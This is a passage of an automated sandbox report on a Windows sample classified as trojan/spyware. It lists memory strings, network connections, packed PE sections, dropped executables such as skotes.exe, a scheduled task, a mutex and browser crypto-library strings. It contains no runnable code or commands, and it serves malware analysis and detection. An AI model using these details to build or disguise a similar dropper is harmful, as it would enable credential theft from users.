Source: 6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1
Source: 6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1&item=fl
Source: 6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1&playInS
Source: 6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	String found in binary or memory: https://www.office.com
Source: 6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	String found in binary or memory: https://www.officeplus.cn/?sid=shoreline&endpoint=OPPC&source=OPCNshoreline
Source: 6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true
Source: 6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true&auth=1
Source: 6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true&auth=2
Source: 6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true
Source: 6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=1
Source: 6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=2
Source: 6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	String found in binary or memory: https://www.tiktok.com/
Source: 6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	String found in binary or memory: https://www.youtube.com
Source: 6a8e88c2-5e8f-4ee6-a261-6a342bd3b7f8.tmp.10.dr	String found in binary or memory: https://y.music.163.com/m/

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 49677 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 49856 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49821
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49820
Source: unknown	Network traffic detected: HTTP traffic on port 49842 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49676 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49819
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49818
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49817
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49813
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49812
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49811
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49810
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49809
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49808
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49807
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49805
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49803
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49802
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49801
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49800
Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 49821 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49854 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49809 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49832 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745

Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.9:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.9:49726 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.9:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.159.0:443 -> 192.168.2.9:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.159.0:443 -> 192.168.2.9:49774 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.9:49837 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.9:49852 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.9:49854 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.9:49856 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name:
Source: DocumentsJDGCGHCGHC.exe.0.dr	Static PE information: section name:
Source: DocumentsJDGCGHCGHC.exe.0.dr	Static PE information: section name: .idata
Source: DocumentsJDGCGHCGHC.exe.0.dr	Static PE information: section name:
Source: skotes.exe.22.dr	Static PE information: section name:
Source: skotes.exe.22.dr	Static PE information: section name: .idata
Source: skotes.exe.22.dr	Static PE information: section name:
Source: random[1].exe.26.dr	Static PE information: section name:
Source: random[1].exe.26.dr	Static PE information: section name: .rsrc
Source: random[1].exe.26.dr	Static PE information: section name: .idata
Source: random[1].exe.26.dr	Static PE information: section name:
Source: 93734d82d0.exe.26.dr	Static PE information: section name:
Source: 93734d82d0.exe.26.dr	Static PE information: section name: .rsrc
Source: 93734d82d0.exe.26.dr	Static PE information: section name: .idata
Source: 93734d82d0.exe.26.dr	Static PE information: section name:
Source: random[1].exe0.26.dr	Static PE information: section name:
Source: random[1].exe0.26.dr	Static PE information: section name: .rsrc
Source: random[1].exe0.26.dr	Static PE information: section name: .idata
Source: random[1].exe0.26.dr	Static PE information: section name:
Source: ec3f41365f.exe.26.dr	Static PE information: section name:
Source: ec3f41365f.exe.26.dr	Static PE information: section name: .rsrc
Source: ec3f41365f.exe.26.dr	Static PE information: section name: .idata
Source: ec3f41365f.exe.26.dr	Static PE information: section name:
Source: random[2].exe.26.dr	Static PE information: section name:
Source: random[2].exe.26.dr	Static PE information: section name: .idata
Source: random[2].exe.26.dr	Static PE information: section name:
Source: 440009026a.exe.26.dr	Static PE information: section name:
Source: 440009026a.exe.26.dr	Static PE information: section name: .idata
Source: 440009026a.exe.26.dr	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB9B700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6CB9B700
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB9B8C0 rand_s,NtQueryVirtualMemory,	0_2_6CB9B8C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB9B910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	0_2_6CB9B910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB3F280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6CB3F280

Source: C:\Users\user\DocumentsJDGCGHCGHC.exe

File created: C:\Windows\Tasks\skotes.job

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB335A0	0_2_6CB335A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB934A0	0_2_6CB934A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB9C4A0	0_2_6CB9C4A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB46C80	0_2_6CB46C80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB76CF0	0_2_6CB76CF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB3D4E0	0_2_6CB3D4E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB5D4D0	0_2_6CB5D4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB464C0	0_2_6CB464C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBA542B	0_2_6CBA542B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB75C10	0_2_6CB75C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB82C10	0_2_6CB82C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBAAC00	0_2_6CBAAC00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBA545C	0_2_6CBA545C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB45440	0_2_6CB45440
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB985F0	0_2_6CB985F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB70DD0	0_2_6CB70DD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB60512	0_2_6CB60512
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB5ED10	0_2_6CB5ED10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB4FD00	0_2_6CB4FD00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB94EA0	0_2_6CB94EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB55E90	0_2_6CB55E90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB9E680	0_2_6CB9E680
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB3BEF0	0_2_6CB3BEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB4FEF0	0_2_6CB4FEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBA76E3	0_2_6CBA76E3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB99E30	0_2_6CB99E30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB77E10	0_2_6CB77E10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB85600	0_2_6CB85600
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB3C670	0_2_6CB3C670
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBA6E63	0_2_6CBA6E63
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB59E50	0_2_6CB59E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB73E50	0_2_6CB73E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB54640	0_2_6CB54640
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB82E4E	0_2_6CB82E4E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB877A0	0_2_6CB877A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB66FF0	0_2_6CB66FF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB3DFE0	0_2_6CB3DFE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB77710	0_2_6CB77710
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB49F00	0_2_6CB49F00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB660A0	0_2_6CB660A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB5C0E0	0_2_6CB5C0E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB758E0	0_2_6CB758E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBA50C7	0_2_6CBA50C7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB7B820	0_2_6CB7B820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB84820	0_2_6CB84820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB47810	0_2_6CB47810
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB7F070	0_2_6CB7F070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB58850	0_2_6CB58850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB5D850	0_2_6CB5D850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB6D9B0	0_2_6CB6D9B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB3C9A0	0_2_6CB3C9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB75190	0_2_6CB75190
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB92990	0_2_6CB92990
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB8B970	0_2_6CB8B970
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBAB170	0_2_6CBAB170
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB4D960	0_2_6CB4D960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB5A940	0_2_6CB5A940
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB4CAB0	0_2_6CB4CAB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBA2AB0	0_2_6CBA2AB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB322A0	0_2_6CB322A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB64AA0	0_2_6CB64AA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBABA90	0_2_6CBABA90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB51AF0	0_2_6CB51AF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB7E2F0	0_2_6CB7E2F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB78AC0	0_2_6CB78AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB79A60	0_2_6CB79A60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB3F380	0_2_6CB3F380
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CBA53C8	0_2_6CBA53C8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB7D320	0_2_6CB7D320
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB4C370	0_2_6CB4C370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB35340	0_2_6CB35340
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 26_2_00AAE530	26_2_00AAE530
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 26_2_00AE78BB	26_2_00AE78BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 26_2_00AE8860	26_2_00AE8860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 26_2_00AE7049	26_2_00AE7049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 26_2_00AE31A8	26_2_00AE31A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 26_2_00AA4DE0	26_2_00AA4DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 26_2_00AE2D10	26_2_00AE2D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 26_2_00AE779B	26_2_00AE779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 26_2_00AA4B30	26_2_00AA4B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 26_2_00AD7F36	26_2_00AD7F36

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CB6CBE8 appears 134 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CB794D0 appears 90 times

Source: random[2].exe.26.dr	Static PE information: Data appended to the last section found
Source: 440009026a.exe.26.dr	Static PE information: Data appended to the last section found

Source: file.exe, 00000000.00000002.2006463044.000000006CBC2000.00000002.00000001.01000000.0000000A.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe
Source: file.exe, 00000000.00000002.2007148417.000000006CDB5000.00000002.00000001.01000000.00000009.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: yxhcafke ZLIB complexity 0.9948425751879699
Source: random[1].exe.0.dr	Static PE information: Section: ZLIB complexity 0.9982118528610354
Source: random[1].exe.0.dr	Static PE information: Section: kjkktqrf ZLIB complexity 0.9943222027711561
Source: DocumentsJDGCGHCGHC.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9982118528610354
Source: DocumentsJDGCGHCGHC.exe.0.dr	Static PE information: Section: kjkktqrf ZLIB complexity 0.9943222027711561
Source: skotes.exe.22.dr	Static PE information: Section: ZLIB complexity 0.9982118528610354
Source: skotes.exe.22.dr	Static PE information: Section: kjkktqrf ZLIB complexity 0.9943222027711561
Source: random[1].exe.26.dr	Static PE information: Section: htytndph ZLIB complexity 0.9944612956661891
Source: 93734d82d0.exe.26.dr	Static PE information: Section: htytndph ZLIB complexity 0.9944612956661891
Source: random[1].exe0.26.dr	Static PE information: Section: ZLIB complexity 0.9982446598101266
Source: random[1].exe0.26.dr	Static PE information: Section: rfqqnhtf ZLIB complexity 0.9948939316318927
Source: ec3f41365f.exe.26.dr	Static PE information: Section: ZLIB complexity 0.9982446598101266
Source: ec3f41365f.exe.26.dr	Static PE information: Section: rfqqnhtf ZLIB complexity 0.9948939316318927
Source: random[2].exe.26.dr	Static PE information: Section: yxhcafke ZLIB complexity 0.9945931783536586
Source: 440009026a.exe.26.dr	Static PE information: Section: yxhcafke ZLIB complexity 0.9945931783536586

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@78/304@29/32

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CB97030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

0_2_6CB97030

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WDKI0JR2\G4792O3N.htm

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4660:120:WilError_03

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

File created: C:\Users\user\AppData\Local\Temp\d45f3d55-6f3d-485a-867c-fefb3010b80c.tmp

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1007170001\93734d82d0.exe

File read: C:\Windows\System32\drivers\etc\hosts

Source: softokn3[1].dll.0.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: file.exe, 00000000.00000002.2006913783.000000006CD6F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.1997352929.000000001D87A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2005484818.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
